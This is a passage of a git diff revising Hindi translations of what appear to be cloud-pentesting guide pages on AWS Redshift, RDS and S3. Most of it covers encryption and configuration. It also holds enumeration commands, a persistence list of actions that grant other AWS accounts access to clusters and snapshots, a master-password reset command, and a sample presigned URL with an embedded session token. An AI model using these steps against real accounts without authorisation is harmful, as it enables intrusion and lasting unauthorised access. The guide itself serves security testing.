एन्क्रिप्टेड KMS डेटा कुंजी फिर क्लस्टर एन्क्रिप्शन कुंजी, CEK, स्तर दो के रूप में उपयोग की जाती है। यह CEK फिर KMS द्वारा Redshift को भेजी जाती है जहां इसे क्लस्टर से अलग रखा जाता है। Redshift फिर इस एन्क्रिप्टेड CEK को एक सुरक्षित चैनल के माध्यम से क्लस्टर को भेजता है जहां इसे मेमोरी में संग्रहीत किया जाता है। Redshift फिर KMS से CEK, स्तर दो को डिक्रिप्ट करने का अनुरोध करता है। यह डिक्रिप्टेड CEK फिर भी मेमोरी में संग्रहीत किया जाता है। Redshift फिर एक यादृच्छिक डेटाबेस एन्क्रिप्शन कुंजी, DEK, स्तर तीन बनाता है, और उसे क्लस्टर की मेमोरी में लोड करता है। मेमोरी में डिक्रिप्टेड CEK फिर DEK को एन्क्रिप्ट करता है, जिसे भी मेमोरी में संग्रहीत किया जाता है। -यह एन्क्रिप्टेड DEK फिर एक सुरक्षित चैनल के माध्यम से भेजा जाता है और Redshift में क्लस्टर से अलग संग्रहीत किया जाता है। CEK और DEK अब क्लस्टर की मेमोरी में एन्क्रिप्टेड और डिक्रिप्टेड दोनों रूपों में संग्रहीत हैं। डिक्रिप्टेड DEK फिर डेटा कुंजी, स्तर चार, को एन्क्रिप्ट करने के लिए उपयोग किया जाता है, जो Redshift द्वारा डेटाबेस में प्रत्येक डेटा ब्लॉक के लिए यादृच्छिक रूप से उत्पन्न की जाती हैं। +यह एन्क्रिप्टेड DEK फिर एक सुरक्षित चैनल के माध्यम से भेजा जाता है और Redshift में क्लस्टर से अलग रखा जाता है। CEK और DEK अब क्लस्टर की मेमोरी में एन्क्रिप्टेड और डिक्रिप्टेड दोनों रूपों में संग्रहीत हैं। डिक्रिप्टेड DEK फिर डेटा कुंजी, स्तर चार, को एन्क्रिप्ट करने के लिए उपयोग किया जाता है, जो Redshift द्वारा डेटाबेस में प्रत्येक डेटा ब्लॉक के लिए यादृच्छिक रूप से उत्पन्न की जाती हैं। आप AWS Trusted Advisor का उपयोग अपने Amazon S3 बकेट की कॉन्फ़िगरेशन की निगरानी करने और यह सुनिश्चित करने के लिए कर सकते हैं कि बकेट लॉगिंग सक्षम है, जो सुरक्षा ऑडिट करने और S3 में उपयोग पैटर्न को ट्रैक करने के लिए उपयोगी हो सकता है। @@ -36,7 +36,7 @@ CloudHSM के साथ एन्क्रिप्शन करने के आपको फिर Redshift को अपने HSM क्लाइंट के निम्नलिखित विवरणों के साथ कॉन्फ़िगर करना होगा: HSM IP पता, HSM विभाजन नाम, HSM विभाजन पासवर्ड, और सार्वजनिक HSM सर्वर प्रमाणपत्र, जिसे CloudHSM द्वारा एक आंतरिक मास्टर कुंजी का उपयोग करके एन्क्रिप्ट किया गया है। एक बार जब यह जानकारी प्रदान की जाती है, तो Redshift पुष्टि करेगा और सत्यापित करेगा कि यह विकास विभाजन से कनेक्ट और एक्सेस कर सकता है। -यदि आपकी आंतरिक सुरक्षा नीतियाँ या शासन नियंत्रण यह निर्धारित करते हैं कि आपको कुंजी रोटेशन लागू करना चाहिए, तो यह Redshift के साथ संभव है जो आपको एन्क्रिप्टेड क्लस्टरों के लिए एन्क्रिप्शन कुंजियों को घुमाने की अनुमति देता है, हालाँकि, आपको यह जानना आवश्यक है कि कुंजी रोटेशन प्रक्रिया के दौरान, यह एक बहुत छोटे समय के लिए क्लस्टर को अनुपलब्ध बना देगा, इसलिए यह सबसे अच्छा है कि आप केवल तभी कुंजी घुमाएँ जब आपको इसकी आवश्यकता हो, या यदि आपको लगता है कि वे समझौता किए जा सकते हैं। +यदि आपकी आंतरिक सुरक्षा नीतियाँ या शासन नियंत्रण यह निर्धारित करते हैं कि आपको कुंजी रोटेशन लागू करना चाहिए, तो यह Redshift के साथ संभव है जो आपको एन्क्रिप्टेड क्लस्टरों के लिए एन्क्रिप्शन कुंजियों को घुमाने की अनुमति देता है, हालाँकि, आपको यह जानना आवश्यक है कि कुंजी रोटेशन प्रक्रिया के दौरान, यह एक क्लस्टर को बहुत कम समय के लिए अनुपलब्ध बना देगा, इसलिए यह सबसे अच्छा है कि आप केवल तब कुंजी घुमाएँ जब आपको इसकी आवश्यकता हो, या यदि आपको लगता है कि वे समझौता किए जा सकते हैं। रोटेशन के दौरान, Redshift आपके क्लस्टर के लिए CEK को घुमाएगा और उस क्लस्टर के किसी भी बैकअप के लिए। यह क्लस्टर के लिए DEK को घुमाएगा लेकिन यह संभव नहीं है कि DEK को S3 में संग्रहीत स्नैपशॉट के लिए घुमाया जाए जो DEK का उपयोग करके एन्क्रिप्ट किए गए हैं। यह प्रक्रिया पूरी होने तक क्लस्टर को 'कुंजी घुमा रहा है' की स्थिति में रखेगा जब स्थिति 'उपलब्ध' पर लौटेगी। @@ -81,15 +81,15 @@ aws redshift describe-scheduled-actions # The redshift instance must be publicly available (not by default), the sg need to allow inbounds connections to the port and you need creds psql -h redshift-cluster-1.sdflju3jdfkfg.us-east-1.redshift.amazonaws.com -U admin -d dev -p 5439 ``` -## Privesc +## प्रिवेस्क {{#ref}} ../aws-privilege-escalation/aws-redshift-privesc.md {{#endref}} -## Persistence +## स्थिरता -निम्नलिखित क्रियाएँ अन्य AWS खातों को क्लस्टर तक पहुँच प्रदान करने की अनुमति देती हैं: +निम्नलिखित क्रियाएँ क्लस्टर के लिए अन्य AWS खातों को पहुँच प्रदान करने की अनुमति देती हैं: - [authorize-endpoint-access](https://docs.aws.amazon.com/cli/latest/reference/redshift/authorize-endpoint-access.html) - [authorize-snapshot-access](https://docs.aws.amazon.com/cli/latest/reference/redshift/authorize-snapshot-access.html) diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md index e62331db5..9b248efbf 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md @@ -4,7 +4,7 @@ ## Basic Information -AWS द्वारा प्रदान की गई **रिलेशनल डेटाबेस सेवा (RDS)** को **क्लाउड में रिलेशनल डेटाबेस** की तैनाती, संचालन और स्केलिंग को सरल बनाने के लिए डिज़ाइन किया गया है। यह सेवा लागत दक्षता और स्केलेबिलिटी के लाभ प्रदान करती है जबकि हार्डवेयर प्रावधान, डेटाबेस कॉन्फ़िगरेशन, पैचिंग और बैकअप जैसे श्रम-गहन कार्यों को स्वचालित करती है। +AWS द्वारा प्रदान किया गया **Relational Database Service (RDS)** एक **क्लाउड में रिलेशनल डेटाबेस** के तैनाती, संचालन और स्केलिंग को सरल बनाने के लिए डिज़ाइन किया गया है। यह सेवा लागत दक्षता और स्केलेबिलिटी के लाभ प्रदान करती है जबकि हार्डवेयर प्रावधान, डेटाबेस कॉन्फ़िगरेशन, पैचिंग और बैकअप जैसे श्रम-गहन कार्यों को स्वचालित करती है। AWS RDS विभिन्न व्यापक रूप से उपयोग किए जाने वाले रिलेशनल डेटाबेस इंजनों का समर्थन करता है, जिसमें MySQL, PostgreSQL, MariaDB, Oracle Database, Microsoft SQL Server, और Amazon Aurora शामिल हैं, जो MySQL और PostgreSQL दोनों के लिए संगतता प्रदान करते हैं। @@ -14,9 +14,9 @@ RDS की प्रमुख विशेषताएँ शामिल है - पढ़ने के प्रदर्शन को बढ़ाने के लिए **रीड रेप्लिका** का निर्माण। - उच्च उपलब्धता और फेलओवर तंत्र सुनिश्चित करने के लिए **मल्टी-एवेलबिलिटी ज़ोन (AZ) तैनाती** का कॉन्फ़िगरेशन। - अन्य AWS सेवाओं के साथ **एकीकरण**, जैसे: -- मजबूत एक्सेस नियंत्रण के लिए AWS पहचान और एक्सेस प्रबंधन (**IAM**)। +- मजबूत पहुँच नियंत्रण के लिए AWS पहचान और पहुँच प्रबंधन (**IAM**)। - व्यापक निगरानी और मैट्रिक्स के लिए AWS **CloudWatch**। -- आराम में एन्क्रिप्शन सुनिश्चित करने के लिए AWS की प्रबंधन सेवा (**KMS**)। +- विश्राम में एन्क्रिप्शन सुनिश्चित करने के लिए AWS की प्रबंधन सेवा (**KMS**)। ## Credentials @@ -24,51 +24,51 @@ DB क्लस्टर बनाते समय मास्टर **यू - **स्वयं एक पासवर्ड** निर्दिष्ट करें - RDS को **स्वतः उत्पन्न** करने के लिए कहें -- RDS को **AWS सीक्रेट मैनेजर** में KMS कुंजी के साथ एन्क्रिप्टेड रूप में प्रबंधित करने के लिए कहें +- RDS को **AWS Secret Manager** में KMS कुंजी के साथ एन्क्रिप्टेड रूप में प्रबंधित करने के लिए कहें
### Authentication -प्रमाणीकरण विकल्पों के 3 प्रकार हैं, लेकिन **मास्टर पासवर्ड का उपयोग हमेशा अनुमति है**: +प्रमाणीकरण के 3 प्रकार के विकल्प हैं, लेकिन **मास्टर पासवर्ड का उपयोग हमेशा अनुमति है**:
### Public Access & VPC -डिफ़ॉल्ट रूप से **कोई सार्वजनिक एक्सेस** डेटाबेस को नहीं दिया जाता है, हालाँकि इसे **दिया जा सकता है**। इसलिए, डिफ़ॉल्ट रूप से केवल उसी VPC की मशीनें इसे एक्सेस कर सकेंगी यदि चयनित **सुरक्षा समूह** (जो EC2 SG में संग्रहीत हैं) इसे अनुमति देता है। +डिफ़ॉल्ट रूप से **कोई सार्वजनिक पहुँच** डेटाबेस को नहीं दी जाती है, हालाँकि इसे **दी जा सकती है**। इसलिए, डिफ़ॉल्ट रूप से केवल उसी VPC की मशीनें इसे एक्सेस कर सकेंगी यदि चयनित **सुरक्षा समूह** (जो EC2 SG में संग्रहीत हैं) इसकी अनुमति देता है। -DB इंस्टेंस को उजागर करने के बजाय, एक **RDS प्रॉक्सी** बनाना संभव है जो DB क्लस्टर की **स्केलेबिलिटी** और **उपलब्धता** को **सुधारता** है। +DB इंस्टेंस को उजागर करने के बजाय, एक **RDS Proxy** बनाना संभव है जो DB क्लस्टर की **स्केलेबिलिटी** और **उपलब्धता** को **सुधारता है**। इसके अलावा, **डेटाबेस पोर्ट को भी संशोधित किया जा सकता है**। ### Encryption -**एन्क्रिप्शन डिफ़ॉल्ट रूप से सक्षम है** एक AWS प्रबंधित कुंजी का उपयोग करके (इसके बजाय एक CMK चुना जा सकता है)। +**एन्क्रिप्शन डिफ़ॉल्ट रूप से सक्षम है** एक AWS प्रबंधित कुंजी का उपयोग करते हुए (इसके बजाय एक CMK चुना जा सकता है)। -आपकी एन्क्रिप्शन को सक्षम करने से, आप अपने स्टोरेज, स्नैपशॉट, रीड रेप्लिका और आपके बैकअप के लिए **आराम में एन्क्रिप्शन** सक्षम कर रहे हैं। इस एन्क्रिप्शन को प्रबंधित करने के लिए कुंजी **KMS** का उपयोग करके जारी की जा सकती हैं।\ +आपकी एन्क्रिप्शन को सक्षम करने से, आप **आपके स्टोरेज, स्नैपशॉट, रीड रेप्लिका और आपके बैकअप के लिए एन्क्रिप्शन को सक्षम कर रहे हैं**। इस एन्क्रिप्शन को प्रबंधित करने के लिए कुंजी **KMS** का उपयोग करके जारी की जा सकती हैं।\ आपके डेटाबेस के निर्माण के बाद इस स्तर की एन्क्रिप्शन को जोड़ना संभव नहीं है। **यह इसके निर्माण के दौरान किया जाना चाहिए**। -हालांकि, एक **वर्कअराउंड है जो आपको निम्नलिखित तरीके से एक अनएन्क्रिप्टेड डेटाबेस को एन्क्रिप्ट करने की अनुमति देता है**। आप अपने अनएन्क्रिप्टेड डेटाबेस का एक स्नैपशॉट बना सकते हैं, उस स्नैपशॉट की एक एन्क्रिप्टेड कॉपी बना सकते हैं, उस एन्क्रिप्टेड स्नैपशॉट का उपयोग करके एक नया डेटाबेस बना सकते हैं, और फिर, अंततः, आपका डेटाबेस एन्क्रिप्टेड हो जाएगा। +हालांकि, एक **वर्कअराउंड है जो आपको एक अनएन्क्रिप्टेड डेटाबेस को एन्क्रिप्ट करने की अनुमति देता है**। आप अपने अनएन्क्रिप्टेड डेटाबेस का एक स्नैपशॉट बना सकते हैं, उस स्नैपशॉट की एक एन्क्रिप्टेड कॉपी बना सकते हैं, उस एन्क्रिप्टेड स्नैपशॉट का उपयोग करके एक नया डेटाबेस बना सकते हैं, और फिर, अंततः, आपका डेटाबेस एन्क्रिप्टेड हो जाएगा। #### Transparent Data Encryption (TDE) -RDS में एप्लिकेशन स्तर पर अंतर्निहित एन्क्रिप्शन क्षमताओं के साथ-साथ, RDS **आराम में डेटा की सुरक्षा के लिए अतिरिक्त प्लेटफ़ॉर्म-स्तरीय एन्क्रिप्शन तंत्र** का समर्थन करता है। इसमें Oracle और SQL Server के लिए **ट्रांसपेरेंट डेटा एन्क्रिप्शन (TDE)** शामिल है। हालाँकि, यह महत्वपूर्ण है कि ध्यान दें कि जबकि TDE आराम में डेटा को एन्क्रिप्ट करके सुरक्षा बढ़ाता है, यह **डेटाबेस प्रदर्शन को भी प्रभावित कर सकता है**। यह प्रदर्शन प्रभाव विशेष रूप से MySQL क्रिप्टोग्राफिक फ़ंक्शंस या Microsoft Transact-SQL क्रिप्टोग्राफिक फ़ंक्शंस के साथ उपयोग करते समय ध्यान देने योग्य होता है। +RDS में एप्लिकेशन स्तर पर अंतर्निहित एन्क्रिप्शन क्षमताओं के साथ-साथ, RDS **डेटा को सुरक्षित रखने के लिए अतिरिक्त प्लेटफ़ॉर्म-स्तरीय एन्क्रिप्शन तंत्रों** का समर्थन करता है। इसमें Oracle और SQL Server के लिए **Transparent Data Encryption (TDE)** शामिल है। हालाँकि, यह महत्वपूर्ण है कि ध्यान दें कि जबकि TDE डेटा को सुरक्षित रखने के लिए एन्क्रिप्ट करता है, यह **डेटाबेस प्रदर्शन को प्रभावित कर सकता है**। यह प्रदर्शन प्रभाव विशेष रूप से MySQL क्रिप्टोग्राफिक फ़ंक्शंस या Microsoft Transact-SQL क्रिप्टोग्राफिक फ़ंक्शंस के साथ उपयोग करने पर ध्यान देने योग्य है। TDE का उपयोग करने के लिए कुछ प्रारंभिक कदम आवश्यक हैं: 1. **विकल्प समूह संघ**: -- डेटाबेस को एक विकल्प समूह के साथ संघ करना चाहिए। विकल्प समूह सेटिंग्स और सुविधाओं के लिए कंटेनर के रूप में कार्य करते हैं, डेटाबेस प्रबंधन को सरल बनाते हैं, जिसमें सुरक्षा सुधार शामिल हैं। +- डेटाबेस को एक विकल्प समूह के साथ संघबद्ध होना चाहिए। विकल्प समूह सेटिंग्स और सुविधाओं के लिए कंटेनर के रूप में कार्य करते हैं, डेटाबेस प्रबंधन को सरल बनाते हैं, जिसमें सुरक्षा सुधार शामिल हैं। - हालाँकि, यह ध्यान रखना महत्वपूर्ण है कि विकल्प समूह केवल विशिष्ट डेटाबेस इंजनों और संस्करणों के लिए उपलब्ध हैं। 2. **विकल्प समूह में TDE का समावेश**: -- एक विकल्प समूह के साथ संघित होने के बाद, Oracle ट्रांसपेरेंट डेटा एन्क्रिप्शन विकल्प को उस समूह में शामिल करने की आवश्यकता है। -- यह पहचानना आवश्यक है कि एक बार जब TDE विकल्प को एक विकल्प समूह में जोड़ा जाता है, तो यह एक स्थायी विशेषता बन जाती है और इसे हटाया नहीं जा सकता। +- एक विकल्प समूह के साथ संघबद्ध होने के बाद, Oracle Transparent Data Encryption विकल्प को उस समूह में शामिल करने की आवश्यकता है। +- यह पहचानना आवश्यक है कि एक बार जब TDE विकल्प को एक विकल्प समूह में जोड़ा जाता है, तो यह एक स्थायी fixture बन जाता है और इसे हटाया नहीं जा सकता। 3. **TDE एन्क्रिप्शन मोड**: - TDE दो अलग-अलग एन्क्रिप्शन मोड प्रदान करता है: - **TDE टेबलस्पेस एन्क्रिप्शन**: यह मोड पूरे तालिकाओं को एन्क्रिप्ट करता है, डेटा सुरक्षा के व्यापक दायरे को प्रदान करता है। - **TDE कॉलम एन्क्रिप्शन**: यह मोड डेटाबेस के भीतर विशिष्ट, व्यक्तिगत तत्वों को एन्क्रिप्ट करने पर केंद्रित है, जिससे यह नियंत्रित करना संभव होता है कि कौन सा डेटा एन्क्रिप्ट किया गया है। -इन पूर्वापेक्षाओं और TDE के संचालन की जटिलताओं को समझना RDS के भीतर एन्क्रिप्शन को प्रभावी ढंग से लागू करने और प्रबंधित करने के लिए महत्वपूर्ण है, जिससे डेटा सुरक्षा और आवश्यक मानकों के अनुपालन को सुनिश्चित किया जा सके। +इन पूर्वापेक्षाओं और TDE के संचालन की जटिलताओं को समझना RDS के भीतर एन्क्रिप्शन को प्रभावी ढंग से लागू करने और प्रबंधित करने के लिए महत्वपूर्ण है, डेटा सुरक्षा और आवश्यक मानकों के अनुपालन को सुनिश्चित करना। ### Enumeration ```bash @@ -117,7 +117,7 @@ aws rds modify-db-instance --db-instance-identifier --master-user-password ../aws-privilege-escalation/aws-rds-privesc.md {{#endref}} -### पोस्ट एक्सप्लॉइटेशन +### पोस्ट एक्सप्लोइटेशन {{#ref}} ../aws-post-exploitation/aws-rds-post-exploitation.md diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md index 826dcf4b9..809ffc681 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md @@ -6,13 +6,13 @@ Amazon S3 एक सेवा है जो आपको **बड़े मात्रा में डेटा** **स्टोर** करने की अनुमति देती है। -Amazon S3 डेटा को REST में **सुरक्षित** करने के लिए कई विकल्प प्रदान करता है। विकल्पों में **अनुमति** (नीति), **एन्क्रिप्शन** (क्लाइंट और सर्वर साइड), **बकेट संस्करणन** और **MFA** **आधारित हटाना** शामिल हैं। **उपयोगकर्ता इन विकल्पों में से किसी को भी सक्षम कर सकता है** ताकि डेटा सुरक्षा प्राप्त की जा सके। **डेटा प्रतिकृति** AWS द्वारा एक आंतरिक सुविधा है जहां **S3 स्वचालित रूप से प्रत्येक ऑब्जेक्ट को सभी उपलब्धता क्षेत्रों में प्रतिकृत करता है** और इस मामले में संगठन को इसे सक्षम करने की आवश्यकता नहीं है। +Amazon S3 डेटा को REST में **सुरक्षित** करने के लिए कई विकल्प प्रदान करता है। विकल्पों में **अनुमति** (नीति), **एन्क्रिप्शन** (क्लाइंट और सर्वर साइड), **बकेट संस्करणन** और **MFA** **आधारित हटाना** शामिल हैं। **उपयोगकर्ता इन विकल्पों में से किसी को भी सक्षम कर सकता है** ताकि डेटा सुरक्षा प्राप्त की जा सके। **डेटा प्रतिकृति** AWS द्वारा एक आंतरिक सुविधा है जहां **S3 स्वचालित रूप से प्रत्येक वस्तु को सभी उपलब्धता क्षेत्रों में प्रतिकृत करता है** और इस मामले में संगठन को इसे सक्षम करने की आवश्यकता नहीं है। संसाधन-आधारित अनुमतियों के साथ, आप अपने बकेट के उप-निर्देशिकाओं के लिए अनुमतियों को अलग से परिभाषित कर सकते हैं। ### बकेट संस्करणन और MFA आधारित हटाना -जब बकेट संस्करणन सक्षम होता है, तो कोई भी क्रिया जो एक फ़ाइल के अंदर फ़ाइल को बदलने की कोशिश करती है, फ़ाइल का एक नया संस्करण उत्पन्न करेगी, साथ ही उसी की पिछली सामग्री को भी बनाए रखेगी। इसलिए, यह अपनी सामग्री को अधिलेखित नहीं करेगा। +जब बकेट संस्करणन सक्षम होता है, तो कोई भी क्रिया जो एक फ़ाइल के अंदर एक फ़ाइल को बदलने की कोशिश करती है, फ़ाइल का एक नया संस्करण उत्पन्न करेगी, साथ ही उसी की पिछली सामग्री को भी बनाए रखेगी। इसलिए, यह इसकी सामग्री को अधिलेखित नहीं करेगा। इसके अलावा, MFA आधारित हटाना S3 बकेट में फ़ाइल के संस्करणों को हटाने से रोकेगा और बकेट संस्करणन को अक्षम करने से भी रोकेगा, इसलिए एक हमलावर इन फ़ाइलों को बदल नहीं सकेगा। @@ -20,18 +20,18 @@ Amazon S3 डेटा को REST में **सुरक्षित** कर यह संभव है कि आप कुछ बकेट के लिए **S3 एक्सेस लॉगिन** (जो डिफ़ॉल्ट रूप से अक्षम है) को **सक्षम** करें और लॉग को एक अलग बकेट में सहेजें ताकि यह पता चल सके कि कौन बकेट का उपयोग कर रहा है (दोनों बकेट को एक ही क्षेत्र में होना चाहिए)। -### S3 प्रीसाइनड यूआरएल +### S3 प्रीसाइनड URLs -यह संभव है कि आप एक प्रीसाइनड यूआरएल उत्पन्न करें जिसे आमतौर पर बकेट में **निर्धारित फ़ाइल** तक पहुँचने के लिए उपयोग किया जा सकता है। एक **प्रीसाइनड यूआरएल इस तरह दिखता है**: +यह संभव है कि आप एक प्रीसाइनड URL उत्पन्न करें जिसे आमतौर पर बकेट में **निर्धारित फ़ाइल** तक पहुँचने के लिए उपयोग किया जा सकता है। एक **प्रीसाइनड URL इस तरह दिखता है**: ``` https://.s3.us-east-1.amazonaws.com/asd.txt?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=ASIAUUE8GZC4S5L3TY3P%2F20230227%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20230227T142551Z&X-Amz-Expires=3600&X-Amz-SignedHeaders=host&X-Amz-Security-Token=IQoJb3JpZ2luX2VjELf%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaCXVzLWVhc3QtMSJHMEUCIBhQpdETJO3HKKDk2hjNIrPWwBE8gZaQccZFV3kCpPCWAiEAid3ueDtFFU%2FOQfUpvxYTGO%2BHoS4SWDMUrQAE0pIaB40qggMIYBAAGgwzMTgxNDIxMzg1NTMiDJLI5t7gr2EGxG1Y5CrfAioW0foHIQ074y4gvk0c%2B%2Fmqc7cNWb1njQslQkeePHkseJ3owzc%2FCwkgE0EuZTd4mw0aJciA2XIbJRCLPWTb%2FCBKPnIMJ5aBzIiA2ltsiUNQTTUxYmEgXZoJ6rFYgcodnmWW0Et4Xw59UlHnCDB2bLImxPprriyCzDDCD6nLyp3J8pFF1S8h3ZTJE7XguA8joMs4%2B2B1%2FeOZfuxXKyXPYSKQOOSbQiHUQc%2BFnOfwxleRL16prWk1t7TamvHR%2Bt3UgMn5QWzB3p8FgWwpJ6GjHLkYMJZ379tkimL1tJ7o%2BIod%2FMYrS7LDCifP9d%2FuYOhKWGhaakPuJKJh9fl%2B0vGl7kmApXigROxEWon6ms75laXebltsWwKcKuYca%2BUWu4jVJx%2BWUfI4ofoaGiCSaKALTqwu4QNBRT%2BMoK6h%2BQa7gN7JFGg322lkxRY53x27WMbUE4unn5EmI54T4dWt1%2Bg8ljDS%2BvKfBjqmAWRwuqyfwXa5YC3xxttOr3YVvR6%2BaXpzWtvNJQNnb6v0uI3%2BTtTexZkJpLQYqFcgZLQSxsXWSnf988qvASCIUhAzp2UnS1uqy7QjtD5T73zksYN2aesll7rvB80qIuujG6NOdHnRJ2M5%2FKXXNo1Yd15MtzPuSjRoSB9RSMon5jFu31OrQnA9eCUoawxbB0nHqwK8a43CKBZHhA8RoUAJW%2B48EuFsp3U%3D&X-Amz-Signature=3436e4139e84dbcf5e2e6086c0ebc92f4e1e9332b6fda24697bc339acbf2cdfa ``` -A presigned URL can be **cli से उस प्रिंसिपल के क्रेडेंशियल्स का उपयोग करके बनाया जा सकता है जिसके पास ऑब्जेक्ट तक पहुंच है** (यदि आप जिस खाते का उपयोग करते हैं, उसके पास पहुंच नहीं है, तो एक छोटा presigned URL बनाया जाएगा लेकिन यह बेकार होगा) +एक प्री-साइन किया गया URL **CLI से उस प्रिंसिपल के क्रेडेंशियल्स का उपयोग करके बनाया जा सकता है जिसके पास ऑब्जेक्ट तक पहुंच है** (यदि आप जिस खाते का उपयोग करते हैं, उसके पास पहुंच नहीं है, तो एक छोटा प्री-साइन किया गया URL बनाया जाएगा लेकिन यह बेकार होगा) ```bash aws s3 presign --region 's3:///' ``` > [!NOTE] -> एक प्रीसाइन किए गए URL को उत्पन्न करने के लिए केवल आवश्यक अनुमति वह अनुमति है जो दी जा रही है, इसलिए पिछले आदेश के लिए मुख्य व्यक्ति को केवल `s3:GetObject` की अनुमति की आवश्यकता है। +> एक प्रीसाइन किए गए URL को उत्पन्न करने के लिए केवल आवश्यक अनुमति वह अनुमति है जो दी जा रही है, इसलिए पिछले कमांड के लिए मुख्य व्यक्ति को केवल `s3:GetObject` की अनुमति की आवश्यकता है। यह **अन्य अनुमतियों** के साथ प्रीसाइन किए गए URLs बनाने के लिए भी संभव है: ```python @@ -42,37 +42,37 @@ Params={'Bucket': 'BUCKET_NAME', 'Key': 'OBJECT_KEY'}, ExpiresIn=3600 ) ``` -### S3 Encryption Mechanisms +### S3 एन्क्रिप्शन तंत्र -**DEK का मतलब है डेटा एन्क्रिप्शन कुंजी** और यह वह कुंजी है जो हमेशा उत्पन्न होती है और डेटा को एन्क्रिप्ट करने के लिए उपयोग की जाती है। +**DEK का मतलब डेटा एन्क्रिप्शन कुंजी** है और यह कुंजी है जो हमेशा उत्पन्न होती है और डेटा को एन्क्रिप्ट करने के लिए उपयोग की जाती है।
-Server-side encryption with S3 managed keys, SSE-S3 +सर्वर-साइड एन्क्रिप्शन S3 प्रबंधित कुंजियों के साथ, SSE-S3 -यह विकल्प न्यूनतम कॉन्फ़िगरेशन की आवश्यकता करता है और उपयोग की जाने वाली एन्क्रिप्शन कुंजियों का सभी प्रबंधन AWS द्वारा किया जाता है। आपको केवल **अपने डेटा को अपलोड करना है और S3 सभी अन्य पहलुओं को संभालेगा**। S3 खाते में प्रत्येक बकेट को एक बकेट कुंजी असाइन की जाती है। +यह विकल्प न्यूनतम कॉन्फ़िगरेशन की आवश्यकता है और उपयोग की जाने वाली एन्क्रिप्शन कुंजियों का सभी प्रबंधन AWS द्वारा प्रबंधित किया जाता है। आपको केवल **अपने डेटा को अपलोड करना है और S3 सभी अन्य पहलुओं को संभालेगा**। S3 खाते में प्रत्येक बाल्टी को एक बाल्टी कुंजी सौंपा जाता है। - एन्क्रिप्शन: -- ऑब्जेक्ट डेटा + बनाई गई प्लेनटेक्स्ट DEK --> एन्क्रिप्टेड डेटा (S3 के अंदर संग्रहीत) -- बनाई गई प्लेनटेक्स्ट DEK + S3 मास्टर कुंजी --> एन्क्रिप्टेड DEK (S3 के अंदर संग्रहीत) और प्लेन टेक्स्ट मेमोरी से हटा दिया जाता है +- ऑब्जेक्ट डेटा + उत्पन्न प्लेनटेक्स्ट DEK --> एन्क्रिप्टेड डेटा (S3 के अंदर संग्रहीत) +- उत्पन्न प्लेनटेक्स्ट DEK + S3 मास्टर कुंजी --> एन्क्रिप्टेड DEK (S3 के अंदर संग्रहीत) और प्लेन टेक्स्ट मेमोरी से हटा दिया जाता है - डिक्रिप्शन: - एन्क्रिप्टेड DEK + S3 मास्टर कुंजी --> प्लेनटेक्स्ट DEK - प्लेनटेक्स्ट DEK + एन्क्रिप्टेड डेटा --> ऑब्जेक्ट डेटा -कृपया ध्यान दें कि इस मामले में **कुंजी AWS द्वारा प्रबंधित की जाती है** (रोटेशन केवल हर 3 वर्ष में)। यदि आप अपनी खुद की कुंजी का उपयोग करते हैं, तो आप रोटेट, अक्षम और एक्सेस नियंत्रण लागू कर सकेंगे। +कृपया ध्यान दें कि इस मामले में **कुंजी AWS द्वारा प्रबंधित की जाती है** (रोटेशन केवल हर 3 वर्ष में)। यदि आप अपनी कुंजी का उपयोग करते हैं, तो आप रोटेट, अक्षम और एक्सेस नियंत्रण लागू कर सकेंगे।
-Server-side encryption with KMS managed keys, SSE-KMS +सर्वर-साइड एन्क्रिप्शन KMS प्रबंधित कुंजियों के साथ, SSE-KMS -यह विधि S3 को कुंजी प्रबंधन सेवा का उपयोग करके आपके डेटा एन्क्रिप्शन कुंजी उत्पन्न करने की अनुमति देती है। KMS आपको अपनी कुंजियों के प्रबंधन के लिए बहुत अधिक लचीलापन देता है। उदाहरण के लिए, आप CMK को अक्षम, रोटेट और एक्सेस नियंत्रण लागू कर सकते हैं, और AWS क्लाउड ट्रेल का उपयोग करके उनके उपयोग के खिलाफ आदेश दे सकते हैं। +यह विधि S3 को कुंजी प्रबंधन सेवा का उपयोग करके आपकी डेटा एन्क्रिप्शन कुंजियों को उत्पन्न करने की अनुमति देती है। KMS आपको अपनी कुंजियों के प्रबंधन के लिए बहुत अधिक लचीलापन देता है। उदाहरण के लिए, आप CMK को अक्षम, रोटेट और एक्सेस नियंत्रण लागू कर सकते हैं, और AWS क्लाउड ट्रेल का उपयोग करके उनके उपयोग के खिलाफ आदेश दे सकते हैं। - एन्क्रिप्शन: - S3 KMS CMK से डेटा कुंजी का अनुरोध करता है - KMS एक CMK का उपयोग करके DEK प्लेनटेक्स्ट और DEK एन्क्रिप्टेड जोड़ी उत्पन्न करता है और उन्हें S3 को भेजता है -- S3 प्लेनटेक्स्ट कुंजी का उपयोग करके डेटा को एन्क्रिप्ट करता है, एन्क्रिप्टेड डेटा और एन्क्रिप्टेड कुंजी को संग्रहीत करता है और मेमोरी से प्लेन टेक्स्ट कुंजी को हटा देता है +- S3 प्लेनटेक्स्ट कुंजी का उपयोग करके डेटा को एन्क्रिप्ट करता है, एन्क्रिप्टेड डेटा और एन्क्रिप्टेड कुंजी को संग्रहीत करता है और मेमोरी से प्लेनटेक्स्ट कुंजी को हटा देता है - डिक्रिप्शन: - S3 KMS से ऑब्जेक्ट के एन्क्रिप्टेड डेटा कुंजी को डिक्रिप्ट करने के लिए पूछता है - KMS CMK के साथ डेटा कुंजी को डिक्रिप्ट करता है और इसे S3 को वापस भेजता है @@ -82,15 +82,15 @@ ExpiresIn=3600
